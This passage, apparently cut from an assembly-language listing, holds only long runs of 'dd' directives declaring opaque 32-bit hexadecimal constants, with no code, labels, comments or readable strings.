9C44E48Ch, 797F8052h dd 712CBBA7h, 0D8D1F700h, 426EFD6Ah, 9F7C3FA8h, 3EE0DDBBh dd 577FA61Ah, 0D4F23B13h, 0E85CBEFh, 0D9BBC9F7h, 38204417h dd 0EF720611h, 192CDEEAh, 9D392100h, 0E203E34Eh, 703D00C3h dd 0DC73BAD6h, 5007EB0h, 50FF8ADBh, 485AA44h, 43DF6D3Bh dd 5471804Ah, 69014F09h, 73E7A2ADh, 66254049h, 3380FD49h dd 0E2B178E6h, 80235EEh, 0F9727ABCh, 0F5E0D705h, 122804A6h dd 0E10080A4h, 362E4945h, 0B490D3h, 5CAFCB57h, 0B6B54601h dd 71947600h, 0E8A38C5Eh, 0C3663F05h, 913E5A0Bh, 6E3D2F98h dd 0E200BE79h, 1A9EEED4h, 905483CDh, 6A75611Dh, 614647DBh dd 0A57160B5h, 560E6900h, 15B8E770h, 3253243Fh, 43D20515h dd 0EE0DB408h, 0A6FC6790h, 60DD0A00h, 801C0231h, 1EB148A7h dd 0EAF8DC12h, 0FBF47FCAh, 341CA6B3h, 0EFE6D324h, 9D10DE9Ah dd 8952CE6Ch, 9F6775E2h, 0D2CBABFh, 373A3B68h, 420018BCh dd 5A0E302Dh, 8116D2F7h, 0ABACA9E2h, 0C9EA1376h, 89F40272h dd 0F17D5AD7h, 4A5DE6F8h, 8F480854h, 0FF6F4578h, 0C483E3AEh dd 5F0F2504h, 828F98D5h, 38FB7EAAh, 8A00B82Fh, 0BE224B3Dh dd 0B5F239D3h, 20ABD44Bh, 5134FD90h, 0C400417Bh, 0E6D3393Ah dd 3A6F19AAh, 62009DBDh, 612A9244h, 4D3D327Eh, 1D0E8021h dd 190D01FDh, 510B161Bh, 2513A36Dh, 0C09B9060h, 6E0D1D71h dd 1646036Bh, 76F8AA58h, 700062ACh, 0BE6660E1h, 2F8B51D8h dd 8C87ADBDh, 0BF0F1061h, 1E9C90DAh, 0ABA09027h, 0EEF100A1h dd 0FF46B815h, 6F004236h, 0E09EBFBBh, 5E5B4CB3h, 38D0C990h dd 8E79002Bh, 0B7EBF02Ah, 6A5B38F7h, 0C780FC06h, 89130C38h dd 2EF1A59Dh, 0D6FECC84h, 0D4B6FF2Fh, 0BF5280E4h, 89B70983h dd 0E822F847h, 0E352E250h, 60EA073Fh, 89BF5156h, 6130CC2Bh dd 5740109Fh, 8C864B0Fh, 4E78CB5Fh, 0CD6A5F2Dh, 0BBC4E19Fh dd 3E64FF66h, 0A9FCD898h, 7B9AAFD3h, 0BAFC7FC0h, 0B7270F2Eh dd 8C5E6DFh, 11A59589h, 0C7271ACAh, 576D1AC5h, 0E9713D7Bh dd 48B95C0h, 0FF747E22h, 17DAC14h, 6A61F8FEh, 46AB302h dd 71ADDC6h, 0FB825650h, 0CDB8A95Bh, 0F9B1C0DBh, 0ECC576C9h dd 0CFBD28E1h, 218B29CFh, 0E913EC70h, 0B5F20FBCh, 0BD708C4h dd 0DC6D55FCh, 670FC160h, 0F1960033h, 0BD0BD675h, 0B0973071h dd 2EAB603Dh, 13F0B578h, 4EA0F3EEh, 0E0B6BEFh, 81801D2Eh dd 507DB3D2h, 0A397396Ch, 75920437h, 84B90529h, 17AEE4Bh dd 0FA1E5048h, 0B3D4C1D1h, 3E38AEA3h, 64315420h, 23C41343h dd 5ABAF65Bh, 896BAAh, 0EC3FC298h, 13429DDCh, 0F6962984h dd 10884ADFh, 0D4BA0062h, 0CBE2C026h, 0C112196Eh, 500B64Bh dd 0A9CC2E1Ch, 0F6989F1Fh, 8D2F8953h, 0EB720A2Dh, 0CE9BDF3Fh dd 4FE1A680h, 160FAF1Fh, 569EE607h, 3FC099AEh, 12192104h dd 99B50B12h, 77E3AC2h, 604517C4h, 9D0EC18Bh, 610F3431h dd 3AC4B070h, 0E6042CE1h, 0E4A18170h, 0F64F3071h, 391FFE12h dd 0D798605h, 25FEF2AAh, 0F79DE4EBh, 31BD2B10h, 1F890C5Ah dd 5ED9F920h, 4130CCBAh, 0C1B51765h, 40003EB2h, 0CCC67673h dd 4C50F741h, 5C006ECDh, 23857E15h, 0EF03AA6Ah, 302C136Ah dd 96650747h, 526FC300h, 45D513C8h, 0FFEF052Fh, 0A8CDEE79h dd 4A144838h, 74B3B6A4h, 81C85BEBh, 0FD684F9Ch, 0A5882BD1h dd 3B830F11h, 1BC13D26h, 0FDEAA441h, 861FA073h, 8B98229Fh dd 54AC485h, 7CE8E6BFh, 4117A86Fh, 910AA0D1h, 81038022h dd 506AF988h, 517B7E11h, 60301184h, 3BE93012h, 819D2911h dd 8D710963h, 0BE0351FFh, 2F11A701h, 1E16626Ah, 7ED38021h dd 0EA610B65h, 3FE1D00h, 1A5D5B9Dh, 6209D01Eh, 0AB051CFBh dd 80FD2F52h, 0D3006BBCh, 8A9059D4h, 0C237452Dh, 49BD3348h dd 0D3D5374Ah, 181B51EBh, 0F6CF07C4h, 0D349D7C8h, 0ADA880CBh dd 105E71B9h, 0CE426D60h, 0FA981315h, 556002Ah, 0CB67D726h dd 0B2C23D02h, 60D0D137h, 2889C7DEh, 2DD0D868h, 0F2CDFCE1h dd 0F7D080C9h, 1831BA3Bh, 0E633599Dh, 851301FCh, 0B4E71839h dd 0C5000F22h, 84E8A1D0h, 0F279B9Fh, 0CB144866h, 2B1F1E21h dd 0B94479D2h, 354E60EEh, 717D821Bh, 0F0C72730h, 0BE35FDA5h dd 2CACA887h, 5FAD8E9h, 0B5296053h, 0F57AE099h, 6D5B612Fh dd 11ADC70Ch, 96B1BE90h, 2A2FA5Ch, 0D9BC3D4Dh, 393E8900h dd 58EDDDC6h, 90567C0Bh, 0F9C995A9h, 8A9D2A5Bh, 310216D9h dd 9FE3D27Dh, 13FE15BAh, 89200D4h, 6F312A69h, 0F500AD30h dd 5F43B351h, 2D0987BBh, 1B45543Ah, 0EC4D7F69h, 0FC6EF262h dd 0A7F6DC69h, 0FBBB660Bh, 444F514Fh, 62F0536Fh, 79E78325h dd 5124A6D2h, 0BB65815Fh, 4B055981h, 6F2A356Ah, 0A1530042h dd 0F608409h, 5838A88Dh, 24D20F81h, 61A235D6h, 0BB53E1FFh dd 16494870h, 0A2F838E6h, 0FCC69A37h, 601F46Ah, 437F9054h dd 9B628F0Fh, 0FD852905h, 0E12AA82Eh, 0D7C204F3h, 6D706053h dd 39FD021Fh, 0E9F7543Bh, 0F1289FEh, 86B03ABCh, 6FAD0487h dd 0D50A60EFh, 4F0B56F6h, 140BAA9Dh, 70165B60h, 0BD1623F1h dd 74A61129h, 0E93117A2h dd 0C45222CCh, 130825FCh, 0B93A61F1h, 403ACFAh, 0F9FF6F86h dd 11BCC11Fh, 82FD041Ch, 0BF668870h, 0E65ED027h, 0A55C9D20h dd 73101D6h, 61A6991Bh, 0F056F7Dh, 7EA8D211h, 29B509C2h dd 504A4F50h, 51277CF3h, 9C5045C2h, 0C93797h, 0B67C5C87h dd 950B8040h, 0F08A5D0Bh, 0E0CA8D0Dh, 85388CE8h, 0C4AE290h dd 2C203629h, 68294005h, 53CBDA0Bh, 813C202Eh, 3D252434h dd 0F64A4CC8h, 0CE0E041h, 324509E6h, 16401342h, 1B9F729Fh dd 0D71609D6h, 8B7E60A1h, 15528BC7h, 0E3128030h, 19610D57h dd 0CB0221E9h, 3FE271BFh, 25A95025h, 7C0059B8h, 305FA29Dh dd 1D9BBBDh, 0DA1EF381h, 0C2C7554Bh, 7552B3F6h, 72074859h dd 0B2202EDEh, 6C2DFBh, 0BCA463D8h, 0F9F78186h, 781A9E16h dd 0DB5E92A2h, 940BD356h, 0A7A951DEh, 8035B5D7h, 8918F5C8h dd 0A4B59B5h, 9D08E0F2h, 5C522D81h, 0D000DC4Ch, 61D1D69Bh dd 27A053B6h, 0A17F17DDh, 684C1186h, 16BA44F4h, 0A13E8CA6h dd 0A5FD2FE6h, 3C2430ACh, 0C9289523h, 28AB854Eh, 0D900E1FCh dd 3B3AC915h, 0BB6C89Fh, 5E2F8E64h, 0FB018362h, 6A475C57h dd 5FF5E032h, 6380F096h, 0D60F4AB0h, 644C91E2h, 4CC5BF89h dd 828887ACh, 0E2EB5F44h, 0ABCF050Ah, 9D80DB69h, 0FE9CD0h dd 9B4FBD1Ch, 941D11B7h, 33FBD804h, 24EAADB3h, 5748101h dd 0A487E351h, 3F1689FAh, 79803226h, 0B3980075h, 1BD07FA7h dd 0EB01BDE0h, 0C9FB1E6Ch, 3CA75890h, 9ABFE7E2h, 1FEE1B00h dd 2142E74h, 2952B8C1h, 0A458698Dh, 0E7B2504Ah, 3C863E00h dd 652915B9h, 0DA2A9800h, 6CB4FD50h, 87393B31h, 2C5721CFh dd 5BC16FC4h, 43695B18h, 0E09CA64Ah, 266F2FC5h, 0C938F58Eh dd 5615082h, 8FB6960Eh, 0E8E7E4E0h, 930F44h, 0C2367F9Dh dd 7BF05BDh, 94F20901h, 0FC17DBC7h, 0D4D9E242h, 417C7AEFh dd 833693D4h, 1FA19589h, 45D9DD2Dh, 0A94F132Bh, 0D94EC5Bh dd 47E96BF1h, 0A3E73747h, 0B90EF8CEh, 9CBB0527h, 832195C8h dd 0BD4B1140h, 4FBA51F3h, 9763FAEh, 98C5D069h, 0F26B348h dd 0EB28E8A5h, 1ED3D560h, 1626D990h, 2D09C4F9h, 0F49B7E06h dd 8910EF28h, 0A8132D01h, 0D88BCA3Eh, 0A945286Bh, 7074D38Ah dd 3691E7C5h, 9F557F66h, 0BB1F2A37h, 791A0A24h, 5562D4A9h dd 54135900h, 2D7386CFh, 6165FF7Ch, 981C1350h, 802AE222h dd 0A9B58D89h, 0C4E8DD4Ah, 0EB00CA71h, 99C772C3h, 2D0210AAh dd 0DB468BD2h, 0DFA6F84Eh, 0A33015B2h, 0F9617A0h, 0BB8AD087h dd 0E40E46F6h, 24605019h, 0E4EBEC8Ah, 0EF0084C3h, 0B716DFBAh dd 0FFF222h, 0FB213702h, 0F18B6159h, 1ABD96E6h, 0F0C23250h dd 0B53EB215h, 0D977703Ah, 3936F8DCh, 26EA8E17h, 0ABDFE50Ah dd 5B081D0Bh, 230BAF6Fh, 2751C08Bh, 12BB7A7h, 0C0BDDFE7h dd 4E4873D3h, 449941EEh, 6B0858D4h, 0BE8F4917h, 0ABC21588h dd 3A33F949h, 0BCDA8E81h, 6B06167Ch, 0EAFD6F75h, 342802A8h dd 4197CDC8h, 0CD0524EBh, 11C830EEh, 7EC90A5Ah, 0FCF02726h dd 0F203F669h, 0EE57C56Bh, 0D15A10E3h, 10532D07h, 1CDE30BCh dd 80029D1Ch, 0A2D60AD8h, 0DD0BE2EAh, 615FBED1h, 0C83A26B5h dd 852F096Ch, 51040B3Dh, 0FD8A5B4h, 16660140h, 0B3B4C4BBh dd 6BFB4E92h, 8B301364h, 9A8C6F85h, 51DB0039h, 0B6EAFEC2h dd 840086D6h, 0F397C1ADh, 49FDF98Dh, 0B78E8163h, 0D5D79278h dd 7B6FBAB5h, 0B887505Bh, 981B2801h, 0B52CC010h, 0B0A9236Bh dd 0ACB985C0h, 0CB5DAF00h, 506AB4D3h, 0F689480Fh, 9E680AC1h dd 0DF953B53h, 9258A410h, 62A8E685h, 8113DBD6h, 785D0A19h dd 0D760C26Bh, 555185D6h, 0A3881208h, 50FF00D0h, 0D690B5A8h dd 740063E8h, 0FCE283C2h, 4CE3680Fh, 61C04E96h, 9E772A7Fh dd 0F7132200h, 0D62C0B5Eh, 505B046Ch, 0DB9667B7h, 35B8C035h dd 1DBF795Eh, 0CADEEB81h, 0C5947B1Fh, 2020AC50h, 95B3B34h dd 0AC056D93h, 0B9FDB53Dh, 0BE0025A8h, 1001368Ch, 0C5D05A53h dd 8E1CD16Eh, 0ADC64D73h, 9238BAF9h, 0B3475D16h, 1627588Bh dd 85B32FB9h, 0D4F7989h, 66782660h, 0D8B7160Fh, 142F253h dd 1741ECB2h, 64809222h, 2546CE75h, 0F22A986h, 5A5FE08Eh dd 66C1CD5Bh, 0F546F0AEh, 0FB86C656h, 779C18C6h, 0F29AD0CEh dd 0D8513E0Bh, 538853E9h, 0F06D88B9h, 361356A7h, 8A050C9Bh dd 37C5F1A0h, 12050F81h, 6EC18B01h, 0DB070A6Eh, 721B705Ch dd 905DA8BFh, 282A7D4h, 0F65871Dh, 0C1451783h, 8B456900h dd 79AEF2h, 0C10299EFh, 9862449Eh, 1DA7F101h, 25E95FDAh dd 410FA610h, 1AF6D70h, 38E9C3h, 0DAEE6FA7h, 0AA9AC1DEh dd 4B116E01h, 0E75EB975h, 0B4E8C5E9h, 0EB161392h, 1171F034h dd 6264F600h, 2C1049A6h, 0DD9700F0h, 0CE5D3FFBh, 260208A2h dd 0C77D92C4h, 0AEF875E3h, 2461B13h, 0BDA57707h, 754B014Bh dd 53EC567h, 0A8A6B84Bh, 0F0EAA4F8h, 0D2009242h, 0B2192337h dd 4EBB10ACh, 17AAC064h, 0DEB52A1Eh, 622100A0h, 0F06AC5E3h dd 0C8D7D600h, 16EB6E97h, 0E27E0840h, 0C700A209h, 3B5720EEh dd 5530009Fh, 0EF43513h, 540068F1h, 0F2D48C0Bh, 880119h dd 51B4A6F5h, 4F983408h, 91404Ch, 5659C59h, 0AAF184h, 0FD9643B6h dd 0F7026E5Ch, 35FF809Dh, 7C8B813h, 0CFE7155h, 0E8A09E09h dd 85BFD8D4h, 5F34A327h, 24C4905h, 3A77029Fh, 0E7588080h dd 7B0EF723h, 0CA7D97D3h, 2480DEA1h, 9B9DB779h, 2D8075C4h dd 7062C0FDh, 0C68AC4D6h, 0BCA33Ah, 35EAD97h, 0B3A740h dd 0EE9E6D89h, 59DC9377h, 0CF000E74h, 810816F5h, 0FEA498h dd 0DF219FB3h, 0DC73C6BBh, 659A2513h, 0B9709101h, 9388541Eh dd 0CA800108h, 3129DA81h, 0A2BC000Fh, 0FBA6A506h, 3E00AD50h dd 9C0D5F84h, 3EEDE85h, 0A187BE1Dh, 0E3A8414Ah, 60064B7Dh dd 0D72DDFEDh, 3E2001B4h, 0EF26BA2h, 47406F98h, 0B4039D68h dd 8990003Fh, 0C9FF623Dh, 0C0005CE2h, 1B3C5BC4h, 1987CA21h dd 4ABDF779h, 0F78C88Ah, 7154700h, 0AF5E5AC5h, 4A34B72Bh dd 0BAAC038h, 58FCDD60h, 7DF72A8Bh, 22370EE7h, 5C189416h dd 0D50071E9h, 1DE110F6h, 0A09F85F1h, 544438Bh, 2BE02913h dd 0B7904972h, 4640D8F9h, 3F25C30h, 525B07AAh, 0DAD80B4Fh dd 2C00D187h, 11FA1628h, 70AC8ACAh, 645E3F5Fh, 0B3970076h dd 685CD53Ch, 4B00C7B2h, 0CCECE3B1h, 0B546FE59h, 3E04390Eh dd 48B580C2h, 0DE012D17h, 78C72440h, 2D41CF9h, 0D0501E6h dd 98E210F4h, 2CBC8CD7h, 0A0AEB357h, 5302492h, 0FA5EBD0Eh dd 12ACC4h, 0E6C5FF60h, 7D52360Fh, 0D0C0A15Ch, 0C0FAC3Bh dd 0E92FC1EFh, 0CD3C0022h, 3299AFB2h, 5207901Fh, 91DB683Fh dd 54E5EBE0h, 0A02AD6F3h, 0DD012064h, 0E4C08384h, 0AD3B7B07h dd 22570197h, 0E581AD91h, 99AC11EBh, 0DBDE4001h, 4B0006F8h dd 28B2F1BCh, 50A5C888h, 995DF635h, 0E6954028h, 8C1EECBEh dd 1380E7B1h, 3410943Ah, 0C8C100A8h, 39C44B35h, 0EC309EAAh dd 0F961409Dh, 0F5D60EFh, 46FF2E30h, 0C1DC8212h, 0F5346842h dd 56F975AAh, 4F47709Dh, 0A309279h, 0E0AD9A36h, 0A64A3BB9h dd 7A169780h, 8AC6F31Bh, 0A32C320Bh, 0AA50E4h, 0D0F66ECDh dd 5CB9BBD4h, 0E7C4FE00h, 0E0EC3F5Bh, 3EE30050h, 4C30356Dh dd 0BDEE66h, 3497B1F0h, 496F01E9h, 913C1362h, 2F03E383h dd 4755829Ch, 0D8111DA5h, 0EADEC246h, 0FF608CC4h, 0FC05FD69h dd 0F7A1776Bh dd 6F2DB040h, 4A111Fh, 0BE89917Ah, 0AABF9AA5h, 70D27F50h dd 0AD4D641Bh, 0B11E82C4h, 0AD3BFA5Dh, 0CB8D00A4h, 96CF1EEDh dd 76FC58B2h, 0B931A614h, 0E9776C06h, 0F54E7750h, 0F97303EAh dd 32B8588Ah, 400180B9h, 0FCC54749h, 406F14EBh, 56C8ABBAh dd 0D5635775h, 420341Bh, 0F5D6E88Dh, 4CA8C010h, 0D901AD44h dd 0F264CC3Bh, 15ECACC8h, 9436C3FBh, 8F9A100Eh, 0E01EBDE4h dd 3C00B9A5h, 281C4522h, 4EBF15C3h, 1D748A48h, 0F08B9774h dd 2388BC2Ah, 6E492C70h, 7FE31C81h, 19272A80h, 3392458h dd 89ACDB75h, 0FEF0C70Ah, 8E166D9Ch, 0D8BE3B90h, 89011609h dd 0EC6D3F2Eh, 5D47357h, 66E73E23h, 628ED981h, 0F40FC988h dd 33F05DFDh, 0C8173100h, 77B696CDh, 41F42CA4h, 7A263BC3h dd 306D00B1h, 0FE60797Eh, 0B6C25103h, 0CA9EE234h, 3EDC49h dd 2F027176h, 0E5074D85h, 0A65756EEh, 23CE1930h, 5CC70774h dd 500E368Dh, 8F60CAC6h, 958ADB00h, 6C2B2685h, 0B6D749E9h dd 0AFA9C680h, 2D000B4Ah, 0CF963A91h, 2F19CAF2h, 0B740A6BAh dd 72135963h, 0B0002A2Fh, 0DBCA9D61h, 485E0122h, 95F22E08h dd 0CB5360D3h, 0F88884Ch, 0A7D4A8ADh, 0F741F073h, 0E5EDA26Bh dd 667FB70h, 0F15EFA84h, 34543692h, 8E09D2AAh, 0D7CF1CB8h dd 9AF91AE8h, 2A81C702h, 0D7F19514h, 0B576BDD9h, 5328C714h dd 291606BBh, 0CDB45BDAh, 31093168h, 0E61C8918h, 0EAB21EBBh dd 601B0912h, 0EBE562Ch, 62FE6EEh, 545E5BC1h, 401AAD8Bh dd 398957B9h, 0FBBA53DFh, 5B0819FFh, 6E56235Fh, 6253174h dd 8B2934ADh, 5DC2694Ah, 9FE94700h, 0FF00FB93h, 8C90AB18h dd 7280640h, 63D0D7C9h, 9CB8311Ch, 0E6306BEBh, 0EFCCB5Ah dd 5440473Bh, 14AD00FFh, 8026058h, 5B1D7073h, 0FDC07A12h dd 0A35C325Fh, 0A96B00C1h, 0F60D064h, 0BFF8F89Bh, 31FCB900h dd 7E0E3721h, 0D18F0973h, 8C8E0118h, 8B72B80h, 0CC98C565h dd 7F175000h, 58465C68h, 33572ECh, 75696FA7h, 63F8E008h dd 3D00B51Bh, 5CF3F173h, 3D9992Bh, 13855F37h, 0A9F84348h dd 0B3009118h, 0CF8373ADh, 3ABB5C08h, 0F7CFF459h, 269A4B41h dd 65146280h, 909D9885h, 0B06BF3h, 0A426801Bh, 0FA4BD551h dd 0A21D42F0h, 55C19EDEh, 56C6163Ch, 21203D7Ch, 8A905F04h dd 20AB50FEh, 0B85B71CBh, 0A0E9DC00h, 9CBD8393h, 0BB660F55h dd 90C97D91h, 0CDCD476h, 0A747FE69h, 0BB7F2F36h, 5F49FA0Bh dd 78945B6Ah, 0B958702Ah, 222C0349h, 5F949C9h, 15BD2B4Ah dd 8450A401h, 0DF2FEE2Dh, 0A200E837h, 649DB663h, 4C9A09EFh dd 0D0E234ABh, 0DB2784D6h, 30D77029h, 972A500h, 35D49FB7h dd 5EC097D2h, 50619A45h, 489FE62h, 0CB72DB2Fh, 40075495h dd 0CF3FBF66h, 361612DEh, 810995E3h, 0B5DFAC3h, 0A7795905h dd 290039B7h, 2C6832FBh, 0CCD2029Dh, 0B01BD33h, 0DA459CDCh dd 5BA298B8h, 0C0A8A82Ch, 0DF8102F2h, 0EB12324Fh, 41E8507Ah dd 0FB24029Fh, 8FA9B2AFh, 9F700653h, 0E905B6BEh, 0B640A6CDh dd 4FE948F8h, 843BF379h, 2900EE8Eh, 2B26FDB5h, 80DDB795h dd 721A8292h, 611279D8h, 1AB8CB4Eh, 807DCD5Ah, 0B790D912h dd 768A50A1h, 0B7D8F2DEh, 54FA2033h, 0BDA7FDD6h, 747D8124h dd 798E0FF4h, 895176C8h, 80C53A22h, 29CB12ACh, 0D70E4A7Fh dd 20E89689h, 0B5E4F5FFh, 652EF12Dh, 53FE18E3h, 215ABD89h dd 80B0A0C3h, 0ED4D8D09h, 80DF406Bh, 71E490D7h, 0A7ABB05h dd 0D9AD7858h, 0C480DC22h, 92B508C5h, 746DED3h, 0AABAAFE2h dd 0C006A064h, 990C501Eh, 0C1168B53h, 0C4B1EBB7h, 0F4DF3A85h dd 0EDBB13A1h, 538C2DEEh, 0C82B0997h, 20F54EF7h, 5B0B0B11h dd 46F8D18Bh, 0C82EF378h, 7F60E967h, 0D672BF17h, 8B4208CBh dd 0E1A50185h, 893F2707h, 0AC1B21D5h, 0A230620Ah, 0B5928AD7h dd 0FB1ABBA4h, 1200FDE6h, 0F6EFF0EEh, 8C1F5928h, 44D4FADBh dd 82C3027Fh, 0D6132C66h, 9DBDC1C1h, 0F1E64810h, 0C5D8155Ah dd 31538823h, 5F85952Dh, 0C751B9ABh, 9BD0182h, 6C091219h dd 4C2D2776h, 631C20CAh, 0A2E7D6C2h, 15C41C5h, 0B5084DF4h dd 0B9FCABB8h, 4F0F7F25h, 0C7CB4305h, 0F295E3E8h, 62622C2Dh dd 0DC02748Ah, 0F9FCE325h, 0A80D003Ah, 0F4BA0268h, 2B44EA0Bh dd 0DC465EC0h, 0F6BECF0Eh, 0B1DE17BAh, 8CBBE1C0h, 85A352Ah dd 60288ACFh, 44C4B5F4h, 46AB1107h, 81D0610Bh, 24373AC0h dd 2D814BB1h, 79E06914h, 2BC1F900h, 0ED2ADD05h, 0D6B400AFh dd 8B855624h, 615A86B2h, 0B57C6CC9h, 99820FC4h, 9EAB60C7h dd 54E7148h, 22BA45ECh, 6D645ACh, 0B05CB855h, 2DCED49Fh dd 0DBEB2245h, 0AAE5019h, 3472C02h, 0FB013DBDh, 6902D0D6h dd 934B8C02h, 0D626539Ch, 1642512Ch, 449C12E2h, 0A89035B8h dd 6FFE4F1Dh, 0F0F40008h, 3F8968B5h, 0C4B02Dh, 3BBB0BA9h dd 0FF1D72F7h, 8572E17Eh, 0F9EE099Fh, 353A44FFh, 530B656Bh dd 0F151B58Ch, 2572A46h, 889DC781h, 0CED451D0h, 9D04E150h dd 201CD3Dh, 0EB4A0F0Eh, 5BB3DE0h, 381F1B2Dh, 1A66F60h dd 209670A1h, 8BDC98F4h, 0D109B5F8h, 0F9272C59h, 53A80B9Dh dd 0ED9FB850h, 99EC0F0h, 94E6110Bh, 0C2C83BE3h, 0E5A4006Ah dd 7B05F1C6h, 36000A38h, 0F761A067h, 4AE18A6Ch, 5B0E0B8Bh dd 8127CE52h, 0D0C4F301h, 6B0C1A95h, 5A5A756Dh, 5A13B0F9h dd 0FD75C491h, 8C15ACF4h, 41329E24h, 272C0908h, 4DB5F0E6h dd 0DBD4C03Fh, 29127DA2h, 8DE1958Dh, 2148C13Eh, 905F0105h dd 0F287953Fh, 1DC50095h, 793F7520h, 0F2B600AEh, 0F4E05C2Bh dd 615F60D8h, 1D505FB0h, 38D301BBh, 87CD902Fh, 0E02817C0h dd 11DC02C0h, 9B055134h, 0D7881809h, 1B891AF5h, 0AF5F624Ch dd 3174896h, 1AB66768h, 60DE1A2Dh, 4EB5980Eh, 0C4F69B05h dd 74FA98B4h, 0A8ADA9DAh, 9F9414CAh, 0C702B8EBh, 800F7A0Eh dd 8444FF54h, 127F2922h, 0B68BF597h, 12B03851h, 70ABE9F8h dd 0AD5EB702h, 718000DCh, 0C69C38CDh, 1B5ABE1Ah, 9B6A4FC9h dd 3A18C082h, 48748CE4h, 90C0FC85h, 2BB304Dh, 66789B2Dh dd 0BB095B52h, 48BCDF53h, 0B2E75E16h, 0A0B5473Fh, 25AF4EAh dd 706786CBh, 7742D2BCh, 53DCABDFh, 335A54Bh, 3701C701h dd 203F0689h, 8B8F9EADh, 0A54C3C00h, 7601A456h, 17A90914h dd 53610FFAh, 4A09365Fh, 357A8FB1h, 4A2DA8CEh, 0AA97EE9Bh dd 8FCADAC0h, 9D97907h, 699D8998h, 0EC965A24h, 975944B2h dd 6A8C3200h, 85A7E9DDh, 95C7542h, 0C0C34120h, 0D12F57FCh dd 2E97873Ah, 60FDA955h, 7843B118h, 0BF960103h, 29DB15C1h dd 5FE44751h, 50D4EE1Ah, 0D8617B27h, 99010F33h, 0E14BAAE2h dd 86110DE9h, 7C2DE436h, 5541100h, 6997C7E0h, 1544950Fh dd 0B9C02300h, 0E63042D1h, 287FCE1h, 0BF770107h, 967F3299h dd 0C812566h, 0DE9F8894h, 48554B9Ch, 83D0B3C8h, 0AB1E43h dd 6D6A3C29h, 156B53Eh, 422C9774h, 0E113F33Dh, 6048955Fh dd 2EEF0065h, 129F05DDh, 92160030h, 0C2979A10h, 7A09BE66h dd 9A5A61D3h, 0BDAD6351h, 0EFB8A7B9h, 6205D42Dh, 1CB3FA9h dd 5E96F615h, 43B4E194h, 0E1C00DF8h, 91B79028h, 0EC4FE3Ch dd 75640073h, 0A1B72BCBh, 4201B345h, 0B4D4404Ah, 876A16E5h dd 903E9116h, 0D1203B57h, 0F5C946h, 0EE16B46Fh, 52D6FAACh dd 0B0C84904h, 9AAA5F9Eh, 0C063D076h, 0EFF9AFE8h, 62502419h dd 81324D0h, 61160D31h dd 0F1D783B2h, 26283FAFh, 0A1EEB51Bh, 7D9AB600h, 712407F4h dd 4D0A05A9h, 0E821E992h, 163D8568h, 96EF28ACh, 0BE80DC9Ah dd 4D77EFD7h, 81F9189Fh, 0A75A0BE3h, 0F7512666h, 4533544h dd 40B5110h, 94AAB589h, 1CC02C91h, 0BF60044Bh, 6F2B63h dd 0EAB4530Ah, 742C1184h, 0ABD6E501h, 0AD292D26h, 7E67133Bh dd 5A93A79h, 0A293D198h, 0B7CD7A2h, 0A79217B1h, 0FAC58CFCh dd 3C116A8h, 7F348D9Dh, 9C508E9Ch, 0F42D409Bh, 20B09F7h dd 0E287F5D1h, 85B77F72h, 2391E301h, 0DFC05316h, 0E2BC901Ch dd 0BB604867h, 760A78C3h, 695CC2B8h, 54491600h, 382E90FDh dd 9590B7C7h, 2900F058h, 6CC3CD0Ah, 1437616h, 0BF017F5Eh dd 707CA423h, 85B59559h, 11AE5F3Ch, 0E65AB636h, 7443F029h dd 667700E2h, 0FBBB0DD8h, 3B164AADh, 0C7888A0Fh, 0BF2D8682h dd 8AFE46FFh, 0F66CF4BFh, 16441348h, 0F1A62E19h, 933017F2h dd 0C99E252Ch, 2617075Ch, 89D7D9F9h, 5AFDF076h, 680BB1E2h dd 51DDBAA5h, 0FAF6CC08h, 0DBDB3AB5h, 0F04351D6h, 0D93F49A5h dd 0CF9002ADh, 8E8E0F02h, 0E88C748h, 0D0C6550Bh, 0B21A4200h dd 0BD0B357Fh, 605F2854h, 33793299h, 0D0F795DDh, 80614ABDh dd 0EDEB8099h, 66B300B5h, 0B53CE2BBh, 8218B11Ah, 0FE009983h dd 0F07563F7h, 5B94Ch, 42612573h, 5E48E020h, 35B51674h dd 811791C0h, 5298FD8Ch, 0BDA9220h, 6AB2B7DEh, 0C2D94D57h dd 4C40C5ACh, 0A0FC3D6Dh, 31E82413h, 0C56D0D1Dh, 8CDE175Ch dd 810460D2h, 0A42C75D6h, 691D30AFh, 39EED3F4h, 9C5B453Fh dd 88828286h, 0DD5C8CACh, 0D4F912A4h, 8320FF19h, 2D62Ah dd 735EEFE8h, 0A2824AB4h, 9E79E02h, 0D9E23992h, 774CA8DCh dd 7C53AC49h, 29152F89h, 6BA61CFBh, 0FE327109h, 10517141h dd 4A958D89h, 524C4A26h, 0E6C360F2h, 0F27C8DC2h, 40940500h dd 69A561BEh, 7C56050Dh, 0D7432DF0h, 48D22A4h, 630BD528h dd 28D2A889h, 0D480FF9Eh, 684618Fh, 0E8DE0064h, 4409ABBh dd 45040185h, 96054ED3h, 1BA15481h, 0F82DC94Bh, 0F552AC46h dd 0A8B75F0Fh, 8090DA5Ah, 0C17DE923h, 1FE85C47h, 200ACAC0h dd 0FC9FB7D8h, 89C50270h, 2BF1319Dh, 7092EE27h, 0F274B573h dd 3E9C3ADEh, 703CEF01h, 6A861D3Bh, 37E67974h, 2A500A7h dd 0C670F555h, 0B11D37BDh, 368F0F68h, 0F3DA2FEDh, 1814D9D6h dd 33E927F0h, 10B59F8h, 521C35BDh, 3D4C9683h, 0E70A9930h dd 3A97DD1Ah, 60666D67h, 6C22E1A3h, 44EC070Bh, 400DF690h dd 0DA395AD2h, 0CDFA8D00h, 3B65CAB3h, 0D74B00B0h, 55BB02F2h dd 2127975Dh, 0E9465A5Fh, 25C057DAh, 0B0128ABFh, 84027B81h dd 600EB790h, 0A208B9BAh, 0A5EA8257h, 33088132h, 0DA16859Dh dd 2FFD921Fh, 135DFADh, 8B7397B8h, 141693F2h, 5ED50532h dd 0B1DC5221h, 926E7A21h, 0CBCAD107h, 84122016h, 609D90F9h dd 1EBBF213h, 264F9335h, 6049267Eh, 0AB7A6870h, 340245B8h dd 5FB5B373h, 7D50E190h, 90B9163h, 0EC10ED8Dh, 264241BDh dd 3128333Ch, 12C2A10Eh, 2B679D7Fh, 48A62374h, 801CF3A0h dd 0E739510Ch, 44D9687Ah, 1497D128h, 0D9494520h, 85F96E84h dd 0AB4DEDC1h, 28E80F7h, 3C1BF50h, 842E4B34h, 0C26EAE21h dd 927FB24h, 94D63515h, 0DD089AE8h, 0FAE9040Fh, 0B10EB80Ch dd 405FD9Ch, 132591B3h, 0B01D850Eh, 7ED8D4Ah, 0B295481h dd 58F150h, 45414AEDh, 0EE038013h, 42CCD9F6h, 0B7D9009Dh dd 